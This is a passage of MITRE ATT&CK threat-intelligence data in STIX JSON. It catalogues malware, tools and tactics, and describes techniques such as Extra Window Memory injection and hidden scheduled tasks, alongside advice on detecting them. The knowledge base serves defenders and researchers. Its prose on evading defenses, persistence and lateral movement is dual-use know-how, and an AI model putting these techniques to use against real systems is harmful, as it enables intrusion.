"x_mitre_version": "1.1", "x_mitre_aliases": ["HermeticWizard"], "type": "malware", "id": "malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", "created": "2022-03-25T20:47:06.942Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0698", "external_id": "S0698"}, {"source_name": "ESET Hermetic Wizard March 2022", "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022.", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-01T04:34:30.855Z", "name": "Net", "description": "The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\n[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.6", "x_mitre_contributors": ["David Ferguson, CyberSponse"], "x_mitre_aliases": ["Net", "net.exe"], "type": "tool", "id": "tool--03342581-f790-4f03-ba41-e82e67392e23", "created": "2017-05-31T21:32:31.601Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0039", "external_id": "S0039"}, {"source_name": "Microsoft Net Utility", "description": "Microsoft. (2006, October 18). Net.exe Utility. Retrieved September 22, 2015.", "url": "https://msdn.microsoft.com/en-us/library/aa939914"}, {"source_name": "Savill 1999", "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["tool"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["tool"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["RemoteUtilities"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b", "type": "tool", "created": "2021-03-18T14:57:34.628Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0592", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0592"}, {"source_name": "Trend Micro Muddy Water March 2021", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}], "modified": "2021-04-25T23:30:38.375Z", "name": "RemoteUtilities", "description": "[RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-09T18:00:13.178Z", "name": "BloodHound", "description": "[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.5", "x_mitre_aliases": ["BloodHound"], "type": "tool", "id": "tool--066b057c-944e-4cfc-b654-e3dfba04b926", "created": "2020-10-28T12:51:29.358Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0521", "external_id": "S0521"}, {"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. 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[Rclone](https://attack.mitre.org/software/S1040) has been used in a number of ransomware campaigns, including those associated with the [Conti](https://attack.mitre.org/software/S0575) and DarkSide Ransomware-as-a-Service operations.(Citation: Rclone)(Citation: Rclone Wars)(Citation: Detecting Rclone)(Citation: DarkSide Ransomware Gang)(Citation: DFIR Conti Bazar Nov 2021)", "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Edward Millington", "Ian McKay"], "x_mitre_aliases": ["Rclone"], "type": "tool", "id": "tool--59096109-a1dd-463b-87e7-a8d110fe3a79", "created": "2022-08-30T13:02:36.422Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1040", "external_id": "S1040"}, {"source_name": "Detecting Rclone", "description": " Aaron Greetham. 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(n.d.). wevtutil. Retrieved September 14, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["tool"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["tool"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5", "type": "tool", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0224", "external_id": "S0224"}, {"source_name": "Check Point Havij Analysis", "description": "Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. 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Techniques used to get credentials include keylogging or credential dumping. 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Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery. 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Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries\u2019 goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "impact"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0003", "url": "https://attack.mitre.org/tactics/TA0003", "source_name": "mitre-attack"}], "modified": "2019-07-19T17:42:33.899Z", "name": "Persistence", "description": "The adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. ", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "persistence"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0004", "url": "https://attack.mitre.org/tactics/TA0004", "source_name": "mitre-attack"}], "modified": "2021-01-06T14:21:21.641Z", "name": "Privilege Escalation", "description": "The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\n* SYSTEM/root level\n* local administrator\n* user account with admin-like access \n* user accounts with access to specific system or perform specific function\n\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.  ", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "privilege-escalation"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0008", "url": "https://attack.mitre.org/tactics/TA0008", "source_name": "mitre-attack"}], "modified": "2019-07-19T17:44:36.953Z", "name": "Lateral Movement", "description": "The adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. ", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "lateral-movement"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0005", "url": "https://attack.mitre.org/tactics/TA0005", "source_name": "mitre-attack"}], "modified": "2019-07-19T17:43:23.473Z", "name": "Defense Evasion", "description": "The adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics\u2019 techniques are cross-listed here when those techniques include the added benefit of subverting defenses. ", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "defense-evasion"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0010", "url": "https://attack.mitre.org/tactics/TA0010", "source_name": "mitre-attack"}], "modified": "2019-07-19T17:45:12.806Z", "name": "Exfiltration", "description": "The adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they\u2019ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "exfiltration"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0007", "url": "https://attack.mitre.org/tactics/TA0007", "source_name": "mitre-attack"}], "modified": "2019-07-19T17:44:13.228Z", "name": "Discovery", "description": "The adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what\u2019s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. ", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "discovery"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0009", "url": "https://attack.mitre.org/tactics/TA0009", "source_name": "mitre-attack"}], "modified": "2019-07-19T17:44:53.176Z", "name": "Collection", "description": "The adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "collection"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--d679bca2-e57d-4935-8650-8031c87a4400", "type": "x-mitre-tactic", "created": "2020-09-30T16:11:59.650Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0042", "source_name": "mitre-attack", "url": "https://attack.mitre.org/tactics/TA0042"}], "modified": "2020-09-30T16:31:36.322Z", "name": "Resource Development", "description": "The adversary is trying to establish resources they can use to support operations.\n\nResource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "resource-development"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1efd6e0592", "type": "x-mitre-tactic", "created": "2020-10-02T14:48:41.809Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0043", "source_name": "mitre-attack", "url": "https://attack.mitre.org/tactics/TA0043"}], "modified": "2020-10-18T02:04:50.842Z", "name": "Reconnaissance", "description": "The adversary is trying to gather information they can use to plan future operations.\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "reconnaissance"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0011", "url": "https://attack.mitre.org/tactics/TA0011", "source_name": "mitre-attack"}], "modified": "2019-07-19T17:45:30.644Z", "name": "Command and Control", "description": "The adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim\u2019s network structure and defenses.", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "command-and-control"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca", "type": "x-mitre-tactic", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "TA0001", "url": "https://attack.mitre.org/tactics/TA0001", "source_name": "mitre-attack"}], "modified": "2019-07-19T17:41:41.425Z", "name": "Initial Access", "description": "The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_shortname": "initial-access"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298", "type": "attack-pattern", "created": "2020-01-14T17:18:32.126Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.011", "url": "https://attack.mitre.org/techniques/T1055/011"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", "source_name": "Microsoft Window Classes"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", "source_name": "Microsoft GetWindowLong function"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", "source_name": "Microsoft SetWindowLong function"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", "source_name": "MalwareTech Power Loader Aug 2013"}, {"url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", "source_name": "Microsoft SendNotifyMessage function"}], "modified": "2020-11-10T18:29:31.004Z", "name": "Extra Window Memory Injection", "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.  (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: OS API Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Application control"]}, {"modified": "2023-11-15T14:33:53.354Z", "name": "Scheduled Task", "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Andrew Northern, @ex_raritas", "Bryan Campbell, @bry_campbell", "Zachary Abzug, @ZackDoesML", "Selena Larson, @selenalarson", "Sittikorn Sangrattanapitak"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Creation", "File: File Modification", "File: File Creation", "Process: Process Creation", "Command: Command Execution", "Network Traffic: Network Traffic Flow", "Scheduled Job: Scheduled Job Creation"], "x_mitre_permissions_required": ["Administrator"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "created": "2019-11-27T14:58:00.429Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/005", "external_id": "T1053.005"}, {"source_name": "ProofPoint Serpent", "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.", "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"}, {"source_name": "Defending Against Scheduled Task Attacks in Windows Environments", "description": "Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments"}, {"source_name": "Twitter Leoloobeek Scheduled Task", "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.", "url": "https://twitter.com/leoloobeek/status/939248813465853953"}, {"source_name": "Tarrask scheduled task", "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.", "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}, {"source_name": "Microsoft Scheduled Task Events Win10", "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"}, {"source_name": "TechNet Scheduled Task Events", "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.", "url": "https://technet.microsoft.com/library/dd315590.aspx"}, {"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"}, {"source_name": "TechNet Forum Scheduled Task Operational Setting", "description": "Satyajit321. (2015, November 3). 